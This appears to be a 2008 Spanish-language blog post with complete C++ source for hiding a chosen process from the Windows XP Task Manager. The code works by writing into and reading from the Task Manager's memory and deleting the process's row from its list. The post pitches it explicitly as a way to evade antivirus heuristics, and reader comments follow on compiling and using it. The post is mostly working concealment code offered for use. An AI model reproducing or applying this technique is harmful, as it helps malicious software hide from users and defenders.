// Estas leyendo...

C \\ C++

Ocultar proceso en el Administrador de Tareas (Task Manager) en C++

Codigo escrito en C++ para ocultar nuestro proceso al Administrador de tareas sin necesidad de utilizar inyeccion.

Es un metodo bastante bueno si se quiere ocultar un proceso al Taskmgr.exe y no tener problemas con los sistemas heuristicos de los antivirus al realizar inyecciones.

/*
[ Programa ]
Ocultar procesos al administrador de tareas (Task Manager) Sin inyeccion.
By Octalh
Testeado en Windows XP SP2
octalh@gmail.com
www.aztekmindz.org
*/

using namespace std;

LVITEM ItemLista, *_ItemLista;
char item[512], subitem[512];
char *_item, *_subitem;
unsigned long pid;
HANDLE HProceso;
char ExeProc[50]; //Proceso a ocultar

BOOL CALLBACK PrOcultar(HWND hwnd,LPARAM lParam)
{
   char HLista[150] = "";
   char HAdminT[150] = "";

   GetWindowText(hwnd,HAdminT,149);
   GetClassName(hwnd,HLista,249);

   if (strstr(HAdminT,"Procesos") && strstr(HLista,"SysListView32") !=NULL)
   /* Si encontramos la columna "Procesos" en el Taskmanager y la clase "SysListView32"
      de la listvew
   */

   {
      int count=(int)SendMessage(hwnd, LVM_GETITEMCOUNT, 0, 0); // Contamos los Items listados
      int i;
      GetWindowThreadProcessId(hwnd, &pid); //Obtenemos el Pid de cada Proceso listado como Item
      HProceso=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|
                      PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, pid);
                      // Obtenemos el Hndle del proceso como Item de la Listvew

      _ItemLista=(LVITEM*)VirtualAllocEx(HProceso, NULL, sizeof(LVITEM),
                                MEM_COMMIT, PAGE_READWRITE); // Asiganos permisos de lectura y escritura al Listvew
      _item=(char*)VirtualAllocEx(HProceso, NULL, 512, MEM_COMMIT,
                               PAGE_READWRITE);
      _subitem=(char*)VirtualAllocEx(HProceso, NULL, 512, MEM_COMMIT,
                           PAGE_READWRITE); // Asiganos Lectura y Escritura en la region asiganda

      ItemLista.cchTextMax=512;
      for(i=0; i<count; i++) { // Contamos cada Item en un Bucle
           ItemLista.iSubItem=0;
           ItemLista.pszText=_item;
           WriteProcessMemory(HProceso, _ItemLista, &amp;ItemLista, sizeof(LVITEM), NULL);
           SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_ItemLista); // Obtenemos el nombre de cada Item (Proceso)
           ItemLista.iSubItem=1; // Posicion de la columna en el listview
           ItemLista.pszText=_subitem;
           WriteProcessMemory(HProceso, _ItemLista, &amp;ItemLista, sizeof(LVITEM), NULL);
           SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_ItemLista);
           ReadProcessMemory(HProceso, _item, item, 512, NULL);
           ReadProcessMemory(HProceso, _subitem, subitem, 512, NULL);

          if (strstr(item,ExeProc) != NULL)  SendMessage(hwnd, LVM_DELETEITEM, (WPARAM)i, (LPARAM)_ItemLista);
          // Si exise el Proceso a Ocultar, eliminamos el Item de la Listvew
      }
      VirtualFreeEx(HProceso, _ItemLista, 0, MEM_RELEASE); // Libreamos…
      VirtualFreeEx(HProceso, _item, 0, MEM_RELEASE);
      VirtualFreeEx(HProceso, _subitem, 0, MEM_RELEASE);
      return FALSE;
   }

return TRUE;
}

int main(){
   HWND fwindow;
   printf("%s","\n\n      Ocultar Procesos al Task Manager \n");
   printf("%s","\n                << By Octalh >>\n\n");
   printf("%s","     [ www.aztekmindz.org | octalh@gmail.com ]\n \n");
   printf("     Escribe el proceso que deseas ocultar: ");
   gets(ExeProc);
   printf("\n\n     Ocultando Proceso: [ %s ]",ExeProc);

   for(;;)
   {
      EnumChildWindows(FindWindow(0,"Administrador de tareas de Windows"),PrOcultar,0);
   }

   return 0;
}

Descargar Programa Compilado

Comentarios

6 comments para “Ocultar proceso en el Administrador de Tareas (Task Manager) en C++”

  1. muy bueno el laburo. queria comentarte q donde me dice q ponga el proceso a ocultar pongo por ej msnmsgr.exe y no pasa nada. ese es el mecanismo o hay q hacer otra cosa? gracias

    Posted by leo | Julio 30, 2008, 7:56
  2. Tienes que verificar varias cosas, dado que el codigo es unicamente para demostrar como hacerlo y no como una herramienta en si.

    Por ejemplo verifica bien el nombre del taskmanager porque se utiliza el nombre enves de la clase de la ventana (”Administrador de tareas de Windows”) y tmb verifica estas partes:
    if (strstr(HAdminT,”Procesos”) && strstr(HLista,”SysListView32″) !=NULL)

    ya que esto cambia dependiendo de la version de windows y este codigo esta hecho para funcionar con xp en español.

    salu2

    Posted by octalh | Julio 30, 2008, 13:43
  3. Holaa! muy bueno lo he utilizado y esta copado. Pero tengo una consulta no se mucho de c++ y recien empiezo. Con que compilador puedo compilar el codigo para probar y emepezar a aprender tengo xp en español y quisiera probar compilar el codigo por mi mismo. Gracias.

    Posted by Mariano | Agosto 1, 2008, 6:48
  4. que librerias has usado para compilare la aplicacion,
    por ejemplo windows.h,stdio.h …

    Posted by jose | Septiembre 18, 2008, 7:41
  5. que librerias has usado para compilar la aplicacion??
    por ejemplo windows.h,stdio.h …

    Posted by jose | Septiembre 18, 2008, 7:42
  6. prueba de meter un pequeño Sleep()
    para que el programa no te consuma tanta CPU

    Posted by jose | Septiembre 18, 2008, 7:49

Deja un comentario